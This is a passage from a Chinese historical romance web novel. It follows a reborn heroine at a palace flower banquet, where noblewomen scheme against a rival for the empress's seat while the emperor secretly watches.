李素素的日子也好不到哪儿去,她握着罗氏的手,宽大的袖摆垂落,露出底下布满伤痕的手臂。 新伤旧伤,刺得罗氏眼睛发红,“伯府对你不好?” 李素素已经麻木了,除了刚嫁过去的几日她时常会哭,后来便没有眼泪了,任打任骂,不做反抗,偏偏罗氏这一问,再度令她伤怀,母女俩顿时抱头痛哭。 方姨娘很不耐烦,她给李素素送信叫她出来,不是看她们母女叙话的,“我要的东西呢?” 罗氏也催促,“素素,你之前不是捡一只匣子吗?那匣子你快拿出来。” 李素素眼眸微闪,她确实捡了只匣子,听说还是庶兄李衡的,她一直没还给对方。 “娘,你要做什么?”她嫁到伯府,婆母整日教训她最多的便是谨言慎行,她得问清楚母亲要做什么。 “你别管,你把匣子拿出来,只要有那只匣子,我们就可以报复赵氏!”罗氏用力掐着女儿的手,将自己与方姨娘的打算和盘托出。 事到如今,罗氏依旧怀疑赵清仪与李衡不清不楚,不然为什么独独把她们赶出来了,李衡还留在李家的宅子里? 李素素忍痛怯生生道,“娘,那匣子里没什么贴身之物……”况且,相同的手段,赵清仪肯定有所提防。 方姨娘冷笑,“这就不劳你操心了,只管把匣子交给我,你的差事就算办完了。” 李素素又推说匣子没带,方姨娘急了,“那你就回去取啊!” 李素素犹豫,“娘,要不……还是算了……” 罗氏难以置信,难道她就不恨赵清仪吗?如果不是赵清仪,李家不会落败,李彻不会入狱!她不会成为一个只能沿街乞讨的残废! 这一切都是赵清仪的造成的,李素素居然跟她说算了? 这刻骨的仇恨怎么能够算了! “娘,现在的日子虽然困难,可女儿还在伯府,还有个栖身之所,往后我每月让人给您送钱,我们母女往后好好过日子……啊!” 话没说完,被罗氏甩了一记耳光,“我残废了,你哥哥入狱生死不知,而你做着伯府少夫人,就全然忘了仇恨!我怎么生出你这个自私自利的女儿?” 李素素捂着脸,泪如雨下,“不是的,我不是自私,我只是……” 她只是看清了,想好好过安生日子而已。 即便报了仇又能如何,难道哥哥就能出狱?娘能重新站起来?她就不用在伯府里煎熬了吗? 改变不了的,赵清仪是县主,是高高在上的名门贵女,她不想以卵击石了,若是失败,留给她们的只会是万劫不复,兴许连最后的活路也没有了。 李素素苦口婆心劝罗氏不要执着,被罗氏推开。 方姨娘冷下脸,“既然我得不到想要的,那我也没必要管你娘了,拖出去,让她自生自灭!” 仆妇架起罗氏,准备扔到大街上,这破败的小院好歹也是方姨娘花钱赁下来的,还给罗氏找了郎中吊住一条性命,全是看在罗氏还有点用处。 “不要!” 李素素哭声凄厉,用抱住方姨娘的腿哀求,“给你给你!我我把匣子给你!你不要动我娘!” — 赵家的马车行至东华门时,宫门外已经聚集了不少官宦家的马车轿子。 赵清仪今日盛装出行,一下马车,便吸引了众多视线,大多是久居深闺的妇人小姐,朝她投去好奇探究的目光,私下里议论的也是她不久前和离一事。 来之前,赵清仪做好了心理准备,是以并未在意这些目光。 赵怀淑紧随其后,领着女儿过来。 赵清仪向她见礼,“姑姑。”不着痕迹扫向表妹萧文吟,她还小,又是初次进宫,对周围的一切充满好奇。 赵怀淑让赵清仪在宴席上帮忙留意些,看看是否有年龄合适的世家公子可堪婚配,萧文吟再过几年也到了出嫁的年纪。 但萧文吟显然对婚配的事茫然无知,神情夸张的感叹,“好可惜,哥哥不来。” 赵怀淑愣了一下,又道,“对,还有她哥哥寒玉,原本也是要来的,只是他不久前病了,不好外出,你若瞧着哪家贵女品貌不错的,也记得和姑姑说一声。” 萧寒玉是永宁侯与原配夫人所生的嫡子,再有两年也该及冠,是姑姑的继子,性子孤僻极少现于人前,所以赵清仪对他没什么印象,不过亲戚之间,她还是含笑应承。 赵怀淑也不勉强,领着女儿先进宫去,她们前脚刚走,张婉琰后脚过来。 她喜欢素净,今日赴宴却难得换了身艳色衣裳,橙红团花锦罗衫配着杏色如意纹裙,款款而来,端的是秀美可人。 察觉赵清仪的目光,张婉琰羞赧一笑,“是我母亲叫我这样穿的。” 赵清仪明白,张家多半希望她能被陛下选入后宫为妃,笑道,“那就提前祝贺你得偿所愿了。” 二人本就是闺中密友,闲话起来,赵温仪在旁插不进嘴,便寻了借口走开,寻她自己的好友去了。 没了其他人,张婉琰说话轻松不少,“感觉好久没见过你了,前阵子京中不少风言风语,你还好吧?” “没事。”赵清仪耐心回应,两人肩并肩往宫里去。 路上张婉琰注意到她鬓边的凤钗,忍不住赞叹,“这金钗真好看,是你家铺子新出的样式?”她也想买。 赵清仪下意识去摸,又想到那晚与楚元河的亲近,脸有些热,“不是新出的样式了,不值一提。” 张婉琰意会,促狭一笑,“别人送的?男的女的?” 她可听说赵清仪和离后,不少俊俏的小郎君登门求亲呢。 也不是赵清仪藏着掖着,只是目前的关系难以启齿,她便含含糊糊地遮掩过去,不让对方刨根问底。 换来张婉琰又一阵打趣,二人说笑间,耳边掠过一声冷哼。 两人收起笑脸,循声望去,是忠勇伯府的王夫人,她是王次辅的胞妹,是伯府夫人,更是太皇太后的侄女,自然有进宫赴宴的资格,身边还带着一个与赵清仪她们年岁相仿的官家小姐。 对方的目光径直掠过赵清仪,落在旁边张婉琰的脸上。 那种不屑一顾的打量目光,让赵清仪与张婉琰很不舒服。 双方气氛剑拔弩张,谁也没说话,等王夫人走远后,张婉琰才小声解释,方才那女子是王家嫡女王盈雪。 竟是王家人?赵清仪懂了,难怪她对张婉琰有如此深的敌意,光一个眼神就恨不得戳死对方。 “不只是父辈的恩仇。”张婉琰叹口气,“主要是王盈雪对后位势在必得,如今我要和她抢,她当然看我不顺眼。” 她自己是无所畏谁当皇后,反正张家就她一个女儿,原本的计划是让她招婿,但母亲却希望她把握机会,入宫做皇后。 如今朝堂张王两家分庭抗礼,不是东风压倒西风,就是西风压倒东风,即便张家未曾觊觎后位,也不能让王家女儿得逞,张婉琰自然成了被推出来与之竞争的棋子。 赵清仪若有所思。 前世她嫁给李彻,以李彻的品阶她根本没有进宫赴宴的资格,所以对花神宴上发生的事知之甚少,只知花神宴不久后,张婉琰死了。 花神宴上传出张婉琰与外男私通之事,令张家蒙羞,弹劾张家的奏疏多如雪花,张婉琰性烈,不堪折辱,为证清白自尽而亡,算是保全了张家的名声。 可那有什么用呢?人都没了,即便后来证实张婉琰的清白也于事无补。 赵清仪又想到王盈雪的眼神,估摸着前世问题就出在此人身上,毕竟张婉琰出事,王盈雪的胜算最大,很难不让人怀疑。 王盈雪也在想张婉琰的事,她从婢子手中取过一方巴掌大的小铜镜,仔细检查面上的妆容,论姿色,她与张婉琰不相上下,两人又身世相当,可后位只有一个。 为了自己,为了家族,她不能输。 不过缓过神后,她还是多嘴问了一句,“姑母,那张婉琰身边的年轻妇人又是谁?” 瞧着和张婉琰关系亲近,还穿着朝服,身份不一般吧。 王夫人冷笑,“就是前不久刚册封的宸华县主,晦气东西!” 提起县主的名号,王盈雪了然,原来就是前不久闹得满城风雨的和离妇,想想那张脸…… 还好和离了,二嫁之身,不足为惧。 看出侄女的心思,王夫人宽慰道,“她就是刚得了册封,又与长公主走得近,这才破例让她入宫赴宴,挡不了你的青云路。” “这么说,还是长公主给她下的帖子?”关系这么好吗? 王盈雪想得出神,这样的人还和张婉琰是手帕交,万一对方带着张婉琰直接去见长公主,甚至通过长公主见到了陛下…… 家世相貌差不多的情况下,总是会先入为主的。 若陛下先看中了张婉琰,那还有她什么事?将来的朝堂上又有王家什么事? 思及此,王盈雪忍不住回眸瞥了眼后头有说有笑的两人,心中警铃大作。 得想个法子,要么绊住对方,要么她另辟蹊径,抢在所有人之前先见到陛下。 可是……陛下长什么样子来着? 王盈雪又觉气馁,自己连陛下长什么样子都不知道,还这么抢在其他女眷之前见到陛下。 王盈雪正绞尽脑汁想方设法,到了御花园,几个闺中玩伴找了过来,拉着她七嘴八舌闲聊,她敷衍地勾了勾唇角应付。 还装什么好姐妹,今日赴宴的,哪个不是冲着陛下来的? 即便做不了皇后,她们当中也会有人成为的陛下的妃嫔,将来,就是要和自己争宠的人。 那可是你死我活的局面。 王盈雪甚至连敷衍都不愿意了。 几位小姐们看出她的傲慢不屑,对视一眼,各怀心思。 便在这时,内侍尖锐的嗓音在御花园中响起:“太皇太后到——” 王盈雪原本还愁着,如何越过其他人先见陛下,乍然见到端庄威仪的太皇太后,眼前倏地一亮。 对啊,她有太皇太后这位姑祖母!还愁见不到陛下吗?! 第54章 第54章陛下属意的皇后 御花园中,众命妇小姐齐齐跪地,口中高呼太皇太后千岁。 太皇太后在女官的搀扶下,慢悠悠踱步而来,“都平身吧。” 随后是长公主到来,接替了女官的位置,亲自搀扶太皇太后坐在高台之上。 王盈雪身份高贵,自然跪在最前头,太皇太后从她身前经过时,脚步停了一瞬。 她颇有眼力见,抬眸含笑,语气甜腻又热络唤了声“姑祖母”。 听得太皇太后很是欢愉,当众夸了她一句,“嗯,模样是好的,有我王家人的气度。” “多谢姑祖母。”王盈雪惴惴不安的心稳住了,能讨太皇太后喜爱还担心什么,后位十拿九稳了。 众女眷平身之际,皆*忍不住朝她投去羡慕的眼神。 有太皇太后这层关系,后位,非王家莫属了吧。 赵清仪也想到了这一层,下意识瞟了眼张婉琰,看样子,情况对张家不利,自己父亲又与张家同气连枝…… 张家若不能争取后位,将来赵家只怕会举步维艰。 御花园内设了宴席,太皇太后与长公主落座后,其余女眷按照品阶依次入座,王盈雪身为王家嫡女,太皇太后的侄孙女,自然被安排在太皇太后下首,位置仅次于长公主,可见她的分量非同寻常。 就连其他的公侯千金,诰命夫人都排在她后面,首辅之女张婉琰也不例外。 张婉琰拉着赵清仪,二人同坐一座,距离上首隔了七八个人,想与上面说话,还得扯着嗓子。 王盈雪很上道,被当众提到太皇太后近前,她便不遗余力地侍奉,逗得太皇太后高兴不已,瞧着她们就像一家人,反而众人只是陪衬。 赵清仪到底不放心,“婉琰,你知道陛下在哪儿吗?” 张婉琰摇头,她哪儿敢打听陛下的行踪,不要命了吗? 赵清仪不免失望,这还怎么争,真让王盈雪上位了,她父亲和张婉琰一家都没好果子吃。 张婉琰看出她的担忧,握了握她的手,“好啦,咱们尽人事,听天命了,况且陛下不是个任人拿捏的主,太皇太后看中的,未必合陛下心意。” 同样是没见过陛下的人,但张婉琰从自己父亲那里断断续续了解过陛下的为人,当年陛下能力排众议亲征沙场,收服西北三十六部,光是这勇气这手腕,怎可能是随意摆布的软柿子? 赵清仪想想也是,前世张婉琰香消玉殒,陛下似乎也并未迎娶哪家贵女为后,别说立后,妃嫔都没有,可见陛下的意志非他人能左右。 推敲过后,赵清仪觉得,要么陛下无心后宫,要么,陛下属意的就是张婉琰,只是前世张婉琰不幸被害,立后的事便一直耽搁。 思及此,她恍然明白过来,莫非陛下对自己格外恩赏,除了因为父亲,还因为她与张婉琰是闺中好友? 赵清仪觉得自己发现了真相,那么这次花神宴,她最重要的任务就是看顾好张婉琰,免得张婉琰遭人算计,其他的,不关她的事。 太皇太后被王盈雪笼络了去,长公主百无聊赖,懒懒倚在座位上欣赏自己刚染了丹蔻的指甲。 花神宴男女分席,若非如此,她还能和她的驸马坐在一起。 王盈雪一边小心侍奉太皇太后,一边注意着长公主的脸色,对方是陛下的嫡亲妹妹,大梁唯一的长公主,同样不能开罪。 她便主动与长公主搭话,“殿下,您这指甲染得真好,不知用的是何种花卉所制?瞧着,还有金箔呢。” 听出对方话里的阿谀奉承,长公主淡淡一笑,“只是多了些金箔,别的与寻常无甚区别。” 算起来,她们之间还是表亲,但长公主对王盈雪实在喜欢不起来,总觉对方假惺惺的,对比之下,还是赵清仪更讨人喜欢。 “宫人怎么安排的?为何宸华县主离本公主如此远?” 正在窃窃私语的两人回神,宫人已经到了近前,要给赵清仪换位子,长公主看出她与张婉琰交情匪浅,干脆让她俩一起过去。 赵清仪觉得是个机会,示意张婉琰一起,原本以张婉琰的身份,就不该坐太远,还不是宫人见风使舵,私下里认为王盈雪的胜算更大,如此安排,意在讨好王家,讨好太皇太后。 如今长公主发话了,太皇太后自不会拂了孙女的面子,照例也夸了张婉琰一句,随后目光落在赵清仪身上。 这是她们第二次见面,察觉对方的审视打量,赵清仪低眉顺目,恭敬有礼。 太皇太后想着今日的目的是为了立后选妃,本不欲理会赵清仪,毕竟对方是个不清不白的和离妇,没资格入选。 可当赵清仪上前后,太皇太后一眼就看到她鬓边的衔珠凤钗,脸色顿时沉下,眸底甚至掠过一丝杀意。 长公主也看清了她戴的凤钗,暗道皇兄胆子是越来越大,都不带遮掩一二,明知对方会在进宫赴宴,还把母后曾经的凤钗赠于赵清仪。 想想进宫这一路,不知赵清仪遇到了多少母后曾经的旧人,这不摆明告诉所有人,宸华县主与当今陛下有猫腻吗! 太皇太后还对赵清仪起了杀心。 长公主敛下心底的惊涛骇浪,面不改色地笑说,“想不到母后当年用过的凤钗,簪在县主头上也是相得益彰,看来这凤钗,本公主没有送错人。” 赵清仪愣了愣,这凤钗分明是平西郡王送给她的,怎么就成了太后的凤钗,还成了长公主送的? 不过,长公主如此说,自有她的道理,赵清仪顺着接话,“多谢长公主赏赐。” 太皇太后脸色这才稍稍好转,不是皇帝送的就好。 却还是狐疑的扫了一眼,看向长公主,“你也真是的,这可是你母后的东西,也敢随便拿来送人。” 皇室之物,还是曾经的皇后,如今的太后拥有的凤钗,有市无价,象征的是权利与尊荣,赵清仪她配吗? “皇祖母。”长公主歪着身子靠过去,抱着太皇太后的胳膊撒娇,“县主毕竟对朝廷有功,孙女赏她一支凤钗又算得了什么。” 也是在提醒太皇太后,赵清仪不能动,这可不是籍籍无名的姑娘,她是赵阁老的女儿,是为大梁百姓做过贡献的人,是陛下钦封的县主。 太皇太后也意识到自己的反应太过了,不咸不淡的嗯了声,“你高兴就好。” 王盈雪却是心中大骇,陛下生母的凤钗,居然就戴在这个宸华县主的头上?她忍不住多看两眼,越看越心惊。 还好,只是长公主赏赐的,若是陛下赏赐,那才是真的天塌了。 “好啦,今日花神宴,是邀大家共同赏花的,诸位不必拘礼,散去吧。”太皇太后牵过王盈雪的手,“好孩子,往后你可要多进宫陪陪哀家。” 又说若王盈雪能在宫里长伴她左右就更好了,话里话外抬举她,要她进宫为后为妃的意思。 有这番话,王盈雪的命运几乎已经注定,她就要飞上枝头变凤凰了,有心入宫的女眷们羡慕不已。 倒是无人在意张婉琰这位同样要竞争后位的首辅之女了。 赵清仪默默叹了口气,只能寄希望于陛下不喜欢王盈雪,拒绝太皇太后的提议,如此张婉琰才有机会。 恭送太皇太后,长公主亲自扶起她二人,赵清仪没觉得有什么,张婉琰却受宠若惊。 长这么大,第一次离长公主如此亲近,还是借了赵清仪的光。 只是长公主的形象与她想象中的很不一样,不仅没有高高在上,言行举止间反而透着江湖的洒脱意气,瞬间拉近了彼此的距离。 长公主和颜悦色道,“本公主要去男席,你二人可要同去?” 张婉琰还没从震惊中缓过神,闻言顿时手足无措,“这、这不太……好吧?”她还是个未出阁的小姐。 长公主一拍脑门,“差点忘了,张小姐还未出阁,那县主呢?县主可要同去?” 虽然同样于理不合,但这皇宫里有谁敢议论长公主的是非?只要赵清仪无所谓,她就敢带过去。 赵清仪倒是有点想见楚元河,她心里有些疑问没弄清楚,便朝男席的方向看了一眼,就在对面廊庑的另一侧。 长廊用连片的纱幔遮挡,依稀可见另一侧行走交错的身影,男席当中也有人蠢蠢欲动,毕竟是为了相看,宫人们睁一只眼闭一只眼,不会认真计较。 长公主从赵清仪脸上看出了红晕,忍不住打趣,“你若实在脸皮薄,就在外头看看,顺便给自己再相个如意郎君。”满是促狭的意味。 素来稳重的张婉琰罕见附和道,“对对对,清仪姐姐,你要不看看?” 自己的好姐妹还年轻,正是貌美如花的年纪。 赵清仪目露惊讶,仿佛第一次认识张婉琰。 长公主已经一左一右拽着她俩过去了,张婉琰羞红了脸,“殿下,这不行的……” “实在不好意思,那你俩就在这看看,若有相中的,回头与本公主说一声,我把人领过来,让你们见见。” 长公主挤挤眼睛,“总好过将来盲婚哑嫁,嫁给一个面都不曾见过的男人。”说完才放开她二人,独自穿过纱幔。 里头响起此起彼伏的问安,之后就是驸马的声音。 赵清仪略微惊讶,女眷的席面上有太皇太后坐镇,她还以为能在男席见到传闻中的陛下,结果主持局面的居然是驸马。 赵清仪看向张婉琰,暗道可惜。 若是陛下在,她就腆着脸央求长公主一回,让陛下召见张婉琰,以婉琰的稳重性子,说不准是陛下心目中最佳的皇后人选。 张婉琰猜到她的想法,“清仪姐姐不必为我费心了,得之我幸,不得我命,不强求的。”怕赵清仪想不开,她索性牵着赵清仪到别处转转,也好说些体己话。 二人从廊庑外经过,有风习习而来,卷起纱幔一角,赵清仪偏头看去,想在人群中找到楚元河,却先看到了李衡的背影。 不免惊讶,这一世李衡升迁的速度如此快吗?他一个庶子,不仅不受身份限制,还不被兄长嫡母连累,有了进宫赴宴的机会。 张婉琰也瞧见了,怕她不高兴,忙解释,“他是我父亲提拔上来的,不过他与他兄长不同,天资不错,能力出众,我父亲不想错过这个好苗子,就把新政学堂的事交给他去办了,这才……清仪姐姐你莫要生气。” 张家绝对没有打她脸的意思。 赵清仪没有不高兴,夸张首辅慧眼识珠,李衡虽不是极出色的那个,但加以调.教,会是一把悬在世家头顶的利刃,无疑更利于新政的推行。 两人顺着长廊外一路走,都没发现陛下或楚元河的踪影,赵清仪悻悻,准备转回御花园赏花去。 刚混入人群,就有一个面生的命妇拉住她的胳膊,“哎呀,总算找到县主了。” 对方很热情,满脸堆笑,冲赵清仪打听她的前小叔李衡,“……不知这李大人年岁几何,可有婚配?” 在场众人,唯有赵清仪是最了解李衡的,赵清仪先请教了对方的身份,是鸿胪寺卿的夫人,有正四品官衔,想为家中的庶女说下这门亲事。 庶女配庶子,倒也合适,但赵清仪客气婉拒了,“我与他不熟,夫人还是另寻旁人问问吧。” 真想说亲,该去问李衡自己的意思,而不是问她这个前嫂子,私心里,赵清仪也不想掺和李家人的事情。 那夫人只好作罢。 不曾想人刚走不久,李衡居然从廊庑一侧走了过来,径直到赵清仪面前问安。 在她们跟着长公主过来时,他就注意到了,一直想过来打声招呼。 张婉琰不瞎,很快就从李衡脸上看出了对赵清仪的思慕之情,又联想到赵清仪刚刚婉拒了鸿胪寺卿夫人的打听…… “那个、我回避一下?” 礼数而已,哪有闺中密友的幸福来得重要。 李衡感激不已,他确实有些话想说,外人在场,多少不方便。 但赵清仪同他无话可说,不想被误会,急忙拉住张婉琰的衣袖,她也不放心对方一个人,李衡哪有张婉琰重要。 “今日花神宴,男女不同席,李大人还是请回吧,有什么话,以后再说。”她只能推脱。 “县主……”李衡欲言又止。 赵清仪走了,来得快,走得更快,甚至没拿正眼瞧过他。 兄长不在了,他还是……一点机会也没有吗? 李衡难掩失落,暗自握紧了拳。 殊不知鼓楼之上,楚元河将这一幕尽收眼底。 李衡出来的时候,他心里还紧张了一瞬,结果赵清仪压根没给对方面子,又让他心里舒畅不少。 此时他身边只有福贵贴身伺候,福贵压低声道,“陛下,那李衡显然用心不纯,要不您给他指婚吧。”省得他整日惦记不该惦记的人。 楚元河就纳闷了,“朕不罚他就算了,还想朕给他赐婚?” 好大的脸,他看起来是这般好说话的皇帝吗? 骂完福贵,他转念一想,好像……不失为一个良策。 “去看看,有没有合适的女子。” 帝王心,海底针呐。 福贵兀自摇头…… 张婉琰为自己先前的误会感到羞愧,好在赵清仪没计较,还是安安静静赏花吧。 赵清仪一走,为了能看到她,楚元河不得不挪个位置,好在鼓楼位于皇城中心最高处,足以俯瞰整座皇宫,更遑论区区一个御花园。 绕着鼓楼走了小半圈,便在莲池附近找到他心心念念的人。 他看中的女子就是美,万花丛中,一枝独秀,总能让人一眼就发现她的存在。 楚元河托腮眯眼,薄唇上扬,藏不住的愉悦,但他的笑容伴随着王盈雪等人的出现,彻底淡了下去。 在姑姑王夫人的暗示的下,王盈雪带人堵住她们的去路,“县主,张姐姐,怎么不同我们一起赏花?” 王盈雪被众人恭维至今,面上春风得意,看她们,尤其是看张婉琰的眼神,挑衅之意不加掩饰。 张婉琰不想理会,挽着赵清仪转了个方向,才发现前后左右围满了人,都是先前奉承王盈雪的官家小姐们。 饶是再好脾气的人,此刻也怒了,“王盈雪,你什么意思?” 王盈雪抚着鬓边的流苏,“张姐姐这么大火气做什么?姐妹们难得聚在一起,说说笑笑罢了。” “说笑?”张婉琰轻嗤,“谁是笑话?你吗?” 王盈雪蹙眉,但想到自己是即将做皇后的人,该宽容大度些,“谁是笑话,还不够一目了然?” 她又摸着自己的金步摇,“这可是太皇太后赏赐,可见太皇太后属意我,而不是你。” “还不到就寝的时候,便开始发梦了。” 张婉琰骨子里不是个好欺负的,对方咄咄逼人,她还客气什么,“还是等立后圣旨下来了,你再到我跟前摆谱吧。” 王盈雪得太皇太后照顾,宫人们不会冒着得罪王盈雪的风险来解救她们,张婉琰干脆用胳膊撞开对方,“好狗不挡道!” 王盈雪被撞了个趔趄,咬牙切齿,“张、婉、琰!” 周围的小姐们赶紧过去安抚,劝她不要和对方一般见识,王盈雪始终咽不下这口气。 别以为有个县主护着就能高枕无忧,她要让张婉琰后悔今日的所作所为,后悔生出与她王家争抢的心思! “不准走!”王盈雪又一次带着人围住她们。 张婉琰与赵清仪都没想到,王盈雪如此阴魂不散,皇城之内,还敢如此放肆。 “你有完没完?” 张婉琰不耐烦,“你现在还不是皇后,我爹和你爹身份相当,这位还是陛下亲封的宸华县主,是有品阶的!你最好掂量掂量!” 对方人多势众,张婉琰只能搬出身份,好让王盈雪有个忌惮,多一事不如少一事。 “我是来找县主的,有你说话的份?” 王盈雪直勾勾盯着赵清仪,神情里不仅没有丝毫对县主的恭敬,反而语带挑衅,“方才有人向我打听县主的小叔子是否婚配,我这受人之托,不得不来问个清楚。” 赵清仪下意识将张婉琰护在身后,“王小姐问错人了,我与李家已无干系。” “是吗?是李家休了你?”王盈雪专门哪壶不开提哪壶。 张婉琰微恼,想出头,被赵清仪按住,她微微一笑,“是和离。” “原来如此啊,那县主拿到和离书了吗?”王盈雪身旁的一个小姐,故作疑惑地问。 见她不答,又笑了,“既然没有和离书,就不能证明你与李家毫不相干,那李衡就还是你的小叔子,都说长嫂如母,向你打听不是很正常?” “哎呀都别说了,没看出县主不乐意吗?”王盈雪笑得恶劣,“先前还有人瞧见你们私下里说话呢,县主还骗我们说你与小叔不熟,不让人与你小叔说亲,莫非……” 几个小姐面面相觑,心照不宣。 什么都没说,又什么都说了。 所谓三人成虎,她们一大帮人是存心来败坏赵清仪名声的。 张婉琰深知王盈雪是冲自己来的,这才牵连与她交好的人。 “你们够了,宫闱之内冒犯县主,胡言乱语,当心被人绞了舌头!” 在王盈雪看来,她就像被人踩中尾巴的猫生气了,顿时笑得更加开怀。 此举彻底惹恼了张婉琰,在她发作之前,赵清仪又一次按住她蠢蠢欲动的手,谁都能动手,但张婉琰不行,她是要竞争后位的人,不能留下让人指摘的污点。 王盈雪莫名用言语羞辱自己,就是等着张婉琰犯错,回头王盈雪去太皇太后面前一哭,她们有理都变成没理的一方。 “王小姐。”赵清仪抬眸,看向王盈雪等人的眼神异常犀利,“原来乱嚼舌根,搬弄是非,不敬皇室,就是你王家的教养。” “不过是好奇,多问两句罢了,县主不会这般小心眼吧?”王盈雪歪头挑眉,一副你能奈我何的姿态。 赵清仪抿唇笑笑,蓦地抬手打了她一巴掌。 王盈雪等着张婉琰动手,没曾想居然是赵清仪做了这件事,她捂着脸难以置信,“你敢打我?” 赵清仪是什么东西?一个臭名昭著的和离妇!靠着三万两换了个县主虚名,还真当自己是盘菜了! “礼尚往来,王小姐如此关心本县主,本县主也关心关心你,这小嘴说了半天,累不累?” 王盈雪面色涨红,“你——” 她也不过是个被惯坏的千金大小姐,被人打了,当下就要反击。 “不服气?”赵清仪眼疾手快,攥住她的手腕,眸色冷下,“你对本县主不敬,言语间处处羞辱,我还不能打你了?” 说罢狠狠甩开,取出帕子慢条斯理擦拭自己的手,“我是县主,你不过是仗着父亲的权势,自身并无品阶,有何脸面在我跟前大放厥词?还是……你在藐视皇权?” 再如何虚名,她也是县主,是陛下亲封,代表的是陛下颜面。 王盈雪在心里骂了她无数遍,早知道捐个三万两就能换个县主的名头,她也去捐,看赵清仪还能得意什么? 今日屈辱她记下了,等她当了皇后……不,她现在就去太皇太后那里告状。 赵清仪觑着对方五颜六色的脸,笑笑,“怎么,在想如何去太皇太后跟前编排我?好啊,一起去啊,看看太皇太后她老人家是帮你这个藐视皇权的娇小姐,还是替我这个陛下钦封的县主做主?” 被戳中心事的王盈雪脸色更加难看,一阵青一阵白。 赵清仪收了笑容,冷声呵斥,“还不让开?” 王盈雪吃瘪,其余小姐们面面相觑后,默默让出一条路,不敢再上去得罪人。 看她们个个跟鹌鹑似的,王盈雪火冒三丈,自己挺身而出堵住赵清仪的去路。 张婉琰忍她很久了,下意识伸手去推,想把她拨开,省得碍路。 “你敢推我?” 王盈雪不服气,又推了回去,争执间其他小姐得了王盈雪的吆喝,也混入其中互相推搡,一堆人挤在一起,你推我我推你,不知不觉离莲池越来越近。 赵清仪这次被张婉琰护在身后,在她看不见的背后,一只手悄然推向她。 第55章 第55章她居然是陛下的女人?!…… 鼓楼上,楚元河蹭的站起身。 千钧一发之际,赵清仪揽着张婉琰的肩头侧身躲闪。 紧接着噗通一声巨响,少女用力过猛,身形一晃径直冲入莲池,溅起巨大水花。 那只黑手的主人本想趁乱推赵清仪一把,再让赵清仪撞上前面的张婉琰,好让张婉琰落水,所以她几乎发动了全身力气,结果赵清仪居然躲开了。 惯性使然,那小姐受不住力,反把自己搭了进去。 落水的刹那,所有人目瞪口呆,也不互相推搡了,战战兢兢立在原地,不知如何是好,唯有赵清仪还算淡定,看着池中扑腾挣扎的女人,神色冷漠。 早在王盈雪拦路她就猜到了,多半是想激怒张婉琰,制造混乱,趁机下手,她怎么可能不事先提防? 张婉琰看着莲池里扑腾的人,后怕不已,倒不是怕死,这莲池不深,淹不死人,就是丢人。 若此刻跌入莲池的是自己,她就与后位无缘了。 “愣着做甚?快救人啊!” 王盈雪暗骂蠢货,偷鸡不成蚀把米,但到底是在宫里,不敢闹出人命。 小姐们纷纷后退,你看我我看你,都不会水,即便会水,谁敢下去惹人笑话。 “去叫太监宫女!”王盈雪大喊,“县主和张婉琰把人推进水里,我们不能坐视不理!” 事已至此,就让那人贡献最后一点价值吧。 宫人很快赶到,好在莲池不深,救上来时人只是受了些惊讶,并无大碍,那小姐抱紧身子瑟缩起来,眼泪如断了线的珍珠,委屈至极,张口便哭,“是县主!不……是张小姐!是张小姐推我!” 张婉琰如遭雷击,“你污蔑!”她要推也是推王盈雪,推一个小喽啰做什么? “你多大的脸,值得我费心思去推你?” 王盈雪不管,指着张婉琰的鼻子,“我看到了,就是你!” “你眼睛不好使干脆就挖了!”张婉琰毫不示弱地呛了回去。 王盈雪咬牙,指尖调转,忽然指向赵温仪,“赵温仪,你方才离得不远,你肯定也看清了,是不是张婉琰推了人?” 赵温仪进宫后,确实有意讨好王盈雪,不过在小姐们围堵赵清仪时,她选择明哲保身,默默后退,眼看就要成功溜走,猝不及防被王盈雪叫住。 赵温仪怔在原地,走也不是,不走也不是。 “你快说啊,是不是张婉琰推她落水的?”王盈雪走过去拽住她。 赵温仪对上大姐姐的目光,支支吾吾,“我、我不知道……” 鼓楼上,楚元河按捺不住要下去解围,福贵拦住他,“陛下,您过去了,肯定会被认出来,还是奴婢去吧。” 他不像黄内侍时常现于人前,能认识他的人不多,他去总好过楚元河亲自去。 只是福贵刚下楼,走到半道上,另一边响起爽朗的男声,“本王可以替张小姐与县主作证。” 男人三十出头的年纪,一袭绯色衮服,头戴金冠,在宫人的簇拥下走向莲池。 王盈雪等人神色肃穆,福身见礼,“岐王殿下。” 张婉琰也认出对方,在岐王视线扫过来的瞬间,也福了福身。 岐王颔首示意,“不必拘礼,本王只是恰好路过,听到小姐们的争执,冒昧上前替张小姐作证,人确实不是她推的,自始至终,张小姐并未动手。” 王盈雪猛的抬头,“不可能!” 岐王在作伪证!他怎么会向着张婉琰呢? “本王亲眼所见,还能有假?”岐王挑眉反问,王盈雪被堵得哑口无言。 岐王可不是赵清仪这个空有虚名的县主,人家是正儿八经的藩王,是先帝所出的最后一个皇子,陛下见了他,还得称呼一声皇叔。 身份摆在这里,王盈雪不敢造次,只能咽下这个哑巴亏,兜兜转转忙活一圈,什么好处都没捞着。 赵温仪也松了口气,还好岐王殿下来得及时,否则她真会夹在中间左右为难,一方是大姐姐,一方是王盈雪,两边她都得罪不起,但愿大姐姐不会怪她。 赵温仪想着,怯生生看了赵清仪一眼。 赵清仪并未看她,仿佛她不存在一般,反倒看了岐王一眼,表情若有所思。 前世,传出与张婉琰有染的,正是岐王殿下,对方今日又恰巧站出来为张婉琰作证…… 赵清仪忍不住又多看张婉琰一眼,对方垂眸,面色如常,显然与岐王不熟。 赵清仪顿觉头皮发麻,看来她真正要提防的人,是岐王,而不是王盈雪之流。 岐王解了围,并没有要立刻走开的意思,有一搭没一搭的问了张婉琰几句,听着都是无关紧要的关心问候,倒也挑不出错处。 可赵清仪就是不安,岐王太刻意了。 而岐王的身份也很不凡,他是先帝最小的皇子,也是最受宠的皇子,一出生就被分封在浙江杭州府,浙江乃富庶之地,也不用镇守边关打仗,可见先帝当年有多宠爱岐王,就连太上皇登基后,都不敢轻易动这个弟弟。 直到当今陛下上位才着手削藩,并对分封中原江南等地的藩王增设诸多限制,譬如无召不得回京,减少食邑,由朝廷直接接管富饶之地的赋税…… 诸多限制下,藩王的利益受到极大损失,岐王首当其冲,是被削得最狠的那个。 岐王察觉到小皇帝的决心,为避其锋芒已远离朝堂多年,从不涉及朝政,每年还会准时上供,以求自保。 隐忍多年,待到今年的花神宴,岐王终于向太皇太后求得恩典,入宫赴宴求娶新的岐王妃。 说来也巧,他的第一个王妃在去岁冬病死了。 赵清仪直觉不简单,什么求娶王妃,他明明就是冲着张婉琰来的。 思及此,她不着痕迹挡在张婉琰面前,对方凝视的目光实在令人不适。 